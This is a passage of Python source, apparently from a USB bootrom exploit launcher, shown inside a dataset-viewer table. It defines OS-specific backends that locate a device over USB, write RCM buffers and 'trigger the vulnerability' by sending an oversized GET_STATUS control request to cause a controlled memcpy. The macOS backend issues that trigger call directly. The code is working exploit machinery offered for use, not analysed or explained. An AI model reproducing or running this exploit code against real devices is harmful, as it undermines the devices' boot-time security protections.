text
stringlengths 0
93.6k
|
---|
STANDARD_REQUEST_DEVICE_TO_HOST = 0x80
|
GET_DESCRIPTOR = 0x6
|
GET_CONFIGURATION = 0x8
|
# Interface requests
|
GET_STATUS = 0x0
|
# List of OSs this class supports.
|
SUPPORTED_SYSTEMS = []
|
def __init__(self, skip_checks=False):
|
""" Sets up the backend for the given device. """
|
self.skip_checks = skip_checks
|
def print_warnings(self):
|
""" Print any warnings necessary for the given backend. """
|
pass
|
def trigger_vulnerability(self, length):
|
"""
|
Triggers the actual controlled memcpy.
|
The actual trigger needs to be executed carefully, as different host OSs
|
require us to ask for our invalid control request differently.
|
"""
|
raise NotImplementedError("Trying to use an abstract backend rather than an instance of the proper subclass!")
|
@classmethod
|
def supported(cls, system_override=None):
|
""" Returns true iff the given backend is supported on this platform. """
|
# If we have a SYSTEM_OVERRIDE, use it.
|
if system_override:
|
system = system_override
|
else:
|
system = platform.system()
|
return system in cls.SUPPORTED_SYSTEMS
|
@classmethod
|
def create_appropriate_backend(cls, system_override=None, skip_checks=False):
|
""" Creates a backend object appropriate for the current OS. """
|
# Search for a supportive backend, and try to create one.
|
for subclass in cls.__subclasses__():
|
if subclass.supported(system_override):
|
return subclass(skip_checks=skip_checks)
|
# ... if we couldn't, bail out.
|
raise IOError("No backend to trigger the vulnerability-- it's likely we don't support your OS!")
|
def read(self, length):
|
""" Reads data from the RCM protocol endpoint. """
|
return bytes(self.dev.read(0x81, length, 1000))
|
def write_single_buffer(self, data):
|
"""
|
Writes a single RCM buffer, which should be 0x1000 long.
|
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
|
If it's not, send a ZLP.
|
"""
|
return self.dev.write(0x01, data, 1000)
|
def find_device(self, vid=None, pid=None):
|
""" Set and return the device to be used """
|
import usb
|
self.dev = usb.core.find(idVendor=vid, idProduct=pid)
|
return self.dev
|
class MacOSBackend(HaxBackend):
|
"""
|
Simple vulnerability trigger for macOS: we simply ask libusb to issue
|
the broken control request, and it'll do it for us. :)
|
We also support platforms with a hacked libusb and FreeBSD.
|
"""
|
BACKEND_NAME = "macOS"
|
SUPPORTED_SYSTEMS = ['Darwin', 'libusbhax', 'macos', 'FreeBSD']
|
def trigger_vulnerability(self, length):
|
# Triggering the vulnerability is simplest on macOS; we simply issue the control request as-is.
|
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
|
class LinuxBackend(HaxBackend):
|
"""
|
More complex vulnerability trigger for Linux: we can't go through libusb,
|
as it limits control requests to a single page size, the limitation expressed
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.